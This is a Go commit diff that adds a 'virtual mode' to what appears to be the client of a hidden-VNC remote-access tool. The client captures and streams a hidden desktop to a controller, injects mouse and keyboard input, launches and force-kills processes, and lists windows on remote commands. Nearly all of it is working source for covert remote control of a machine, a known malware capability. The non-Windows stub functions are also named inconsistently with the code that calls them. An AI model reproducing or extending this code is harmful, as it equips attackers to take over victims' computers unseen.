virtual mode
This commit is contained in:
@@ -1608,6 +1608,175 @@ func NowHVNC(ctx context.Context, env *rt.Env) error {
|
||||
return captureAndSendHVNC(ctx, env)
|
||||
}
|
||||
|
||||
func NowVirtual(ctx context.Context, env *rt.Env) error {
|
||||
if env.Cfg.DisableCapture {
|
||||
return sendBlackFrameVirtual(ctx, env)
|
||||
}
|
||||
if VirtualMonitorCount() <= 0 {
|
||||
return nil
|
||||
}
|
||||
return captureAndSendVirtual(ctx, env)
|
||||
}
|
||||
|
||||
func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("hidden capture: panic in captureAndSendVirtual: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
t0 := time.Now()
|
||||
if frame, captureDur, encodeDur, used, err := VirtualTryDirectH264Frame(); used {
|
||||
if err == nil {
|
||||
if len(frame.Data) == 0 {
|
||||
return nil
|
||||
}
|
||||
return virtualSendCompletedFrame(ctx, env, frame, t0, captureDur, encodeDur)
|
||||
}
|
||||
log.Printf("hidden capture: direct GPU path unavailable: %v", err)
|
||||
}
|
||||
|
||||
// Virtual mode is normal remote desktop restricted to one monitor. Start
|
||||
// with that exact capture stack; specialized paths are fallbacks only.
|
||||
img, err := VirtualCaptureNormal()
|
||||
if err != nil {
|
||||
img, err = VirtualCaptureDisplay()
|
||||
if err != nil {
|
||||
VirtualResetDXGI()
|
||||
img, err = VirtualCaptureGDI()
|
||||
if err != nil {
|
||||
img, err = VirtualCaptureDisplayFallback()
|
||||
}
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
log.Printf("hidden capture: all capture methods failed: %v (sending black frame)", err)
|
||||
return sendBlackFrameVirtual(ctx, env)
|
||||
}
|
||||
if img == nil {
|
||||
log.Printf("hidden capture: capture returned nil image (sending black frame)")
|
||||
return sendBlackFrameVirtual(ctx, env)
|
||||
}
|
||||
captureDur := time.Since(t0)
|
||||
|
||||
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
|
||||
var slotAcquired bool
|
||||
if !willSendViaWebRTC && !AcquireFrameSlot() {
|
||||
PutRGBA(img)
|
||||
return nil
|
||||
}
|
||||
slotAcquired = !willSendViaWebRTC
|
||||
|
||||
quality := jpegQuality()
|
||||
frame, encodeDur, err := buildFrameHVNC(img, 0, quality)
|
||||
PutRGBA(img)
|
||||
img = nil
|
||||
if err != nil {
|
||||
if slotAcquired {
|
||||
ReleaseFrameSlot()
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
now := time.Now()
|
||||
fps := frameFPS(now)
|
||||
if fps <= 0 {
|
||||
fps = 1
|
||||
}
|
||||
frame.Header.FPS = fps
|
||||
|
||||
if ctx.Err() != nil {
|
||||
if slotAcquired {
|
||||
ReleaseFrameSlot()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hidden h264 failed: %v", werr)
|
||||
}
|
||||
if slotAcquired {
|
||||
ReleaseFrameSlot()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if !slotAcquired {
|
||||
if !AcquireFrameSlot() {
|
||||
return nil
|
||||
}
|
||||
slotAcquired = true
|
||||
}
|
||||
|
||||
sendStart := time.Now()
|
||||
err = wire.WriteMsg(ctx, env.Conn, frame)
|
||||
sendDur := time.Since(sendStart)
|
||||
if err != nil {
|
||||
ReleaseFrameSlot()
|
||||
}
|
||||
|
||||
if shouldLogFrame(now) {
|
||||
total := time.Since(t0)
|
||||
log.Printf("hidden capture: stream format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||
frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Frame, t0 time.Time, captureDur, encodeDur time.Duration) error {
|
||||
now := time.Now()
|
||||
fps := frameFPS(now)
|
||||
if fps <= 0 {
|
||||
fps = 1
|
||||
}
|
||||
frame.Header.FPS = fps
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
|
||||
dur := time.Second / time.Duration(fps)
|
||||
if dur <= 0 {
|
||||
dur = 33 * time.Millisecond
|
||||
}
|
||||
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
|
||||
log.Printf("webrtc: write hidden h264 failed: %v", werr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
if !AcquireFrameSlot() {
|
||||
return nil
|
||||
}
|
||||
sendStart := time.Now()
|
||||
err := wire.WriteMsg(ctx, env.Conn, frame)
|
||||
sendDur := time.Since(sendStart)
|
||||
ReleaseFrameSlot()
|
||||
if shouldLogFrame(now) {
|
||||
total := time.Since(t0)
|
||||
log.Printf("hidden capture: direct h264 format=%s size=%d cap=%s enc=%s send=%s total=%s",
|
||||
frame.Header.Format, len(frame.Data), captureDur, encodeDur, sendDur, total)
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func sendBlackFrameVirtual(ctx context.Context, env *rt.Env) error {
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
img := image.NewRGBA(image.Rect(0, 0, 64, 64))
|
||||
quality := 60
|
||||
frame, _, err := buildFrameHVNC(img, 0, quality)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
frame.Header.FPS = 1
|
||||
return wire.WriteMsg(ctx, env.Conn, frame)
|
||||
}
|
||||
|
||||
func supportsBackstageCapture() bool {
|
||||
count := HVNCMonitorCount()
|
||||
return count > 0
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import "image"
|
||||
|
||||
func InitializevirtualMode() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func CleanupvirtualMode() {}
|
||||
|
||||
func SetvirtualCursorCapture(enabled bool) {}
|
||||
|
||||
func VirtualMonitorCount() int {
|
||||
return 0
|
||||
}
|
||||
|
||||
func virtualCaptureDisplay() (*image.RGBA, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func virtualCaptureDisplayFallback() (*image.RGBA, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func StartvirtualProcess(filePath string) (uint32, error) {
|
||||
return 0, nil
|
||||
}
|
||||
|
||||
func virtualKillAll() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func virtualEnumWindows() ([]HVNCWindowInfo, []HVNCMonitorInfo) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func virtualInputMouseMove(x, y int32) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func virtualInputMouseDown(button int) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func virtualInputMouseUp(button int) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func virtualInputKeyDown(vk uint16) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func virtualInputKeyUp(vk uint16) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func virtualInputMouseWheel(delta int32) error {
|
||||
return nil
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -152,6 +152,25 @@ func (a *idxgiAdapter1) EnumOutputs(index uint32, output **idxgiOutput) uintptr
|
||||
return callSyscallN(a.lpVtbl.EnumOutputs, uintptr(unsafe.Pointer(a)), uintptr(index), uintptr(unsafe.Pointer(output)))
|
||||
}
|
||||
|
||||
func (a *idxgiAdapter1) GetDesc1(desc *dxgiAdapterDesc1) uintptr {
|
||||
return callSyscallN(a.lpVtbl.GetDesc1, uintptr(unsafe.Pointer(a)), uintptr(unsafe.Pointer(desc)))
|
||||
}
|
||||
|
||||
type dxgiAdapterDesc1 struct {
|
||||
Description [128]uint16
|
||||
VendorId uint32
|
||||
DeviceId uint32
|
||||
SubSysId uint32
|
||||
Revision uint32
|
||||
DedicatedVideoMemory uint64
|
||||
DedicatedSystemMemory uint64
|
||||
SharedSystemMemory uint64
|
||||
AdapterLuid [8]byte
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
const dxgiAdapterFlagSoftware = 0x2
|
||||
|
||||
type dxgiOutputDesc struct {
|
||||
DeviceName [32]uint16
|
||||
DesktopCoordinates rect
|
||||
|
||||
@@ -1009,10 +1009,43 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
case "hvnc_start":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
autoStartExplorer := false
|
||||
VirtualMode := false
|
||||
if payload != nil {
|
||||
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
||||
autoStartExplorer = v
|
||||
}
|
||||
if v, ok := payload["virtual_mode"].(bool); ok {
|
||||
VirtualMode = v
|
||||
}
|
||||
}
|
||||
if VirtualMode {
|
||||
env.VirtualMu.Lock()
|
||||
if env.VirtualCancel != nil {
|
||||
env.VirtualCancel()
|
||||
waitStreamStop(env.VirtualDone, "hidden")
|
||||
}
|
||||
hiddenCtx, cancel := context.WithCancel(ctx)
|
||||
env.VirtualCancel = cancel
|
||||
done := make(chan struct{})
|
||||
env.VirtualDone = done
|
||||
goSafe("hidden stream", env.Cancel, func() {
|
||||
log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||
if err := capture.InitializeVirtualMode(); err != nil {
|
||||
log.Printf("hidden: initialization failed: %v", err)
|
||||
close(done)
|
||||
return
|
||||
}
|
||||
if autoStartExplorer {
|
||||
if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil {
|
||||
log.Printf("hidden: auto-start explorer error: %v", err)
|
||||
}
|
||||
}
|
||||
_ = VirtualStart(hiddenCtx, env)
|
||||
close(done)
|
||||
})
|
||||
env.VirtualMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
env.HVNCMu.Lock()
|
||||
if env.HVNCCancel != nil {
|
||||
@@ -1032,6 +1065,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_stop":
|
||||
if env.VirtualCancel != nil {
|
||||
env.VirtualMu.Lock()
|
||||
log.Printf("hidden: stop requested")
|
||||
env.VirtualMouseControl = false
|
||||
env.VirtualKeyboardControl = false
|
||||
env.VirtualCursorCapture = false
|
||||
if env.VirtualCancel != nil {
|
||||
env.VirtualCancel()
|
||||
}
|
||||
waitStreamStop(env.VirtualDone, "hidden")
|
||||
env.VirtualCancel = nil
|
||||
env.VirtualDone = nil
|
||||
env.VirtualMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
env.HVNCMu.Lock()
|
||||
log.Printf("hvnc: stop requested")
|
||||
env.HVNCMouseControl = false
|
||||
@@ -1080,6 +1129,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
enabled = v
|
||||
}
|
||||
}
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: mouse control %v", enabled)
|
||||
_ = VirtualMouseControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: mouse control %v", enabled)
|
||||
_ = HVNCMouseControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1092,6 +1147,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
enabled = v
|
||||
}
|
||||
}
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: keyboard control %v", enabled)
|
||||
_ = VirtualKeyboardControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: keyboard control %v", enabled)
|
||||
_ = HVNCKeyboardControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1104,6 +1165,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
enabled = v
|
||||
}
|
||||
}
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: cursor capture %v", enabled)
|
||||
_ = VirtualCursorControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: cursor capture %v", enabled)
|
||||
_ = HVNCCursorControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
@@ -1152,7 +1219,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
fps = v
|
||||
}
|
||||
}
|
||||
fps = SetHVNCTargetFPS(fps)
|
||||
if env.VirtualCancel != nil {
|
||||
fps = SetVirtualTargetFPS(fps)
|
||||
} else {
|
||||
// Also seed virtual mode so a setting sent immediately before
|
||||
// hvnc_start is retained when that start selects virtual mode.
|
||||
fps = SetHVNCTargetFPS(fps)
|
||||
SetVirtualTargetFPS(fps)
|
||||
}
|
||||
log.Printf("hvnc: set target fps=%d", fps)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
@@ -1178,10 +1252,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "hvnc_mouse_move":
|
||||
if !env.HVNCMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
x, y := int32(0), int32(0)
|
||||
if payload != nil {
|
||||
@@ -1238,10 +1308,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
y = int32(v)
|
||||
}
|
||||
}
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
capture.VirtualInputMouseMove(x, y)
|
||||
return nil
|
||||
}
|
||||
if !env.HVNCMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_down":
|
||||
if !env.HVNCMouseControl {
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1328,10 +1410,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
y = int32(v)
|
||||
}
|
||||
}
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
_ = capture.VirtualInputMouseMove(x, y)
|
||||
_ = capture.VirtualInputMouseDown(btn)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_up":
|
||||
if !env.HVNCMouseControl {
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1418,10 +1509,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
y = int32(v)
|
||||
}
|
||||
}
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
_ = capture.VirtualInputMouseMove(x, y)
|
||||
_ = capture.VirtualInputMouseUp(btn)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_mouse_wheel":
|
||||
if !env.HVNCMouseControl {
|
||||
if env.VirtualCancel == nil && !env.HVNCMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1508,10 +1608,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
y = int32(v)
|
||||
}
|
||||
}
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
_ = capture.VirtualInputMouseMove(x, y)
|
||||
_ = capture.VirtualInputMouseWheel(delta)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
|
||||
return nil
|
||||
case "hvnc_key_down":
|
||||
if !env.HVNCKeyboardControl {
|
||||
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1523,11 +1632,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
}
|
||||
}
|
||||
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
capture.VirtualInputKeyDown(vk)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
|
||||
}
|
||||
return nil
|
||||
case "hvnc_key_up":
|
||||
if !env.HVNCKeyboardControl {
|
||||
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
@@ -1539,6 +1656,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
}
|
||||
}
|
||||
if vk := keyCodeToVKHVNC(code); vk != 0 {
|
||||
if env.VirtualCancel != nil {
|
||||
if !env.VirtualKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
capture.VirtualInputKeyUp(vk)
|
||||
return nil
|
||||
}
|
||||
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
|
||||
}
|
||||
return nil
|
||||
@@ -1562,6 +1687,20 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
display = int(v)
|
||||
}
|
||||
}
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: start process %q", filePath)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("virtual_start_process", nil, func() {
|
||||
if killExe != "" {
|
||||
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
|
||||
log.Printf("hidden: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
|
||||
}
|
||||
if _, err := capture.StartVirtualProcess(filePath); err != nil {
|
||||
log.Printf("hidden: start process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_start_process", nil, func() {
|
||||
@@ -1593,6 +1732,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return nil
|
||||
|
||||
case "hvnc_kill_all":
|
||||
if env.VirtualCancel != nil {
|
||||
log.Printf("hidden: kill all processes on virtual monitor")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("virtual_kill_all", nil, func() {
|
||||
if err := capture.VirtualKillAll(); err != nil {
|
||||
log.Printf("hidden: kill all failed: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
}
|
||||
log.Printf("hvnc: kill all processes on hidden desktop")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("hvnc_kill_all", nil, func() {
|
||||
@@ -1856,6 +2005,281 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
})
|
||||
return nil
|
||||
|
||||
// ==================== HIDDEN MODE COMMANDS ====================
|
||||
case "virtual_start":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
autoStartExplorer := false
|
||||
if payload != nil {
|
||||
if v, ok := payload["autoStartExplorer"].(bool); ok {
|
||||
autoStartExplorer = v
|
||||
}
|
||||
}
|
||||
env.VirtualMu.Lock()
|
||||
if env.VirtualCancel != nil {
|
||||
env.VirtualCancel()
|
||||
waitStreamStop(env.VirtualDone, "hidden")
|
||||
}
|
||||
hiddenCtx, cancel := context.WithCancel(ctx)
|
||||
env.VirtualCancel = cancel
|
||||
done := make(chan struct{})
|
||||
env.VirtualDone = done
|
||||
goSafe("hidden stream", env.Cancel, func() {
|
||||
log.Printf("hidden: start requested (autoStartExplorer=%v)", autoStartExplorer)
|
||||
if err := capture.InitializeVirtualMode(); err != nil {
|
||||
log.Printf("hidden: initialization failed: %v", err)
|
||||
close(done)
|
||||
return
|
||||
}
|
||||
if autoStartExplorer {
|
||||
if _, err := capture.StartVirtualProcess("explorer.exe"); err != nil {
|
||||
log.Printf("hidden: auto-start explorer error: %v", err)
|
||||
}
|
||||
}
|
||||
_ = VirtualStart(hiddenCtx, env)
|
||||
close(done)
|
||||
})
|
||||
env.VirtualMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_stop":
|
||||
env.VirtualMu.Lock()
|
||||
log.Printf("hidden: stop requested")
|
||||
env.VirtualMouseControl = false
|
||||
env.VirtualKeyboardControl = false
|
||||
env.VirtualCursorCapture = false
|
||||
if env.VirtualCancel != nil {
|
||||
env.VirtualCancel()
|
||||
}
|
||||
waitStreamStop(env.VirtualDone, "hidden")
|
||||
env.VirtualCancel = nil
|
||||
env.VirtualDone = nil
|
||||
env.VirtualMu.Unlock()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_enable_mouse":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := true
|
||||
if payload != nil {
|
||||
if v, ok := payload["enabled"].(bool); ok {
|
||||
enabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hidden: mouse control %v", enabled)
|
||||
_ = VirtualMouseControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_enable_keyboard":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := true
|
||||
if payload != nil {
|
||||
if v, ok := payload["enabled"].(bool); ok {
|
||||
enabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hidden: keyboard control %v", enabled)
|
||||
_ = VirtualKeyboardControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_enable_cursor":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
enabled := false
|
||||
if payload != nil {
|
||||
if v, ok := payload["enabled"].(bool); ok {
|
||||
enabled = v
|
||||
}
|
||||
}
|
||||
log.Printf("hidden: cursor capture %v", enabled)
|
||||
_ = VirtualCursorControl(ctx, env, enabled)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_set_fps":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
fps := 120
|
||||
if payload != nil {
|
||||
if v, ok := payloadInt(payload, "fps"); ok {
|
||||
fps = v
|
||||
}
|
||||
}
|
||||
fps = SetVirtualTargetFPS(fps)
|
||||
log.Printf("hidden: set target fps=%d", fps)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_set_quality":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
quality := 90
|
||||
codec := ""
|
||||
if payload != nil {
|
||||
if q, ok := payloadInt(payload, "quality"); ok {
|
||||
quality = q
|
||||
}
|
||||
if v, ok := payload["codec"].(string); ok {
|
||||
codec = v
|
||||
}
|
||||
}
|
||||
log.Printf("hidden: set quality=%d codec=%s", quality, codec)
|
||||
capture.SetQualityAndCodec(quality, codec)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_request_keyframe":
|
||||
log.Printf("hidden: request full frame")
|
||||
capture.RequestHVNCFullFrame()
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
case "virtual_mouse_move":
|
||||
if !env.VirtualMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
x, y := int32(0), int32(0)
|
||||
if payload != nil {
|
||||
if v, ok := payloadInt32(payload, "x"); ok {
|
||||
x = v
|
||||
}
|
||||
if v, ok := payloadInt32(payload, "y"); ok {
|
||||
y = v
|
||||
}
|
||||
}
|
||||
capture.VirtualInputMouseMove(x, y)
|
||||
return nil
|
||||
case "virtual_mouse_down":
|
||||
if !env.VirtualMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
btn := 0
|
||||
if payload != nil {
|
||||
if v, ok := payload["button"].(float64); ok {
|
||||
btn = int(v)
|
||||
}
|
||||
}
|
||||
capture.VirtualInputMouseDown(btn)
|
||||
return nil
|
||||
case "virtual_mouse_up":
|
||||
if !env.VirtualMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
btn := 0
|
||||
if payload != nil {
|
||||
if v, ok := payload["button"].(float64); ok {
|
||||
btn = int(v)
|
||||
}
|
||||
}
|
||||
capture.VirtualInputMouseUp(btn)
|
||||
return nil
|
||||
case "virtual_mouse_wheel":
|
||||
if !env.VirtualMouseControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
delta := int32(0)
|
||||
if payload != nil {
|
||||
if v, ok := payload["delta"].(float64); ok {
|
||||
delta = int32(v)
|
||||
}
|
||||
}
|
||||
capture.VirtualInputMouseWheel(delta)
|
||||
return nil
|
||||
case "virtual_key_down":
|
||||
if !env.VirtualKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
code := ""
|
||||
if payload != nil {
|
||||
if v, ok := payload["code"].(string); ok {
|
||||
code = v
|
||||
}
|
||||
}
|
||||
if vk := keyCodeToVKVirtual(code); vk != 0 {
|
||||
capture.VirtualInputKeyDown(vk)
|
||||
}
|
||||
return nil
|
||||
case "virtual_key_up":
|
||||
if !env.VirtualKeyboardControl {
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
return nil
|
||||
}
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
code := ""
|
||||
if payload != nil {
|
||||
if v, ok := payload["code"].(string); ok {
|
||||
code = v
|
||||
}
|
||||
}
|
||||
if vk := keyCodeToVKVirtual(code); vk != 0 {
|
||||
capture.VirtualInputKeyUp(vk)
|
||||
}
|
||||
return nil
|
||||
case "virtual_start_process":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
filePath := ""
|
||||
if payload != nil {
|
||||
if v, ok := payload["path"].(string); ok {
|
||||
filePath = v
|
||||
}
|
||||
}
|
||||
log.Printf("hidden: start process %q", filePath)
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("virtual_start_process", nil, func() {
|
||||
if _, err := capture.StartVirtualProcess(filePath); err != nil {
|
||||
log.Printf("hidden: start process failed for %q: %v", filePath, err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
case "virtual_kill_all":
|
||||
log.Printf("hidden: kill all processes on virtual monitor")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("virtual_kill_all", nil, func() {
|
||||
if err := capture.VirtualKillAll(); err != nil {
|
||||
log.Printf("hidden: kill all failed: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
case "virtual_window_list":
|
||||
log.Printf("hidden: window list requested")
|
||||
sendCommandResultSafe(env, cmdID, true, "")
|
||||
goSafe("virtual_window_list", nil, func() {
|
||||
windows, monitors := capture.VirtualEnumWindows()
|
||||
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||
for _, w := range windows {
|
||||
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||
Title: w.Title,
|
||||
X: w.X,
|
||||
Y: w.Y,
|
||||
Width: w.Width,
|
||||
Height: w.Height,
|
||||
PID: w.PID,
|
||||
ProcessName: w.ProcessName,
|
||||
Monitor: w.Monitor,
|
||||
})
|
||||
}
|
||||
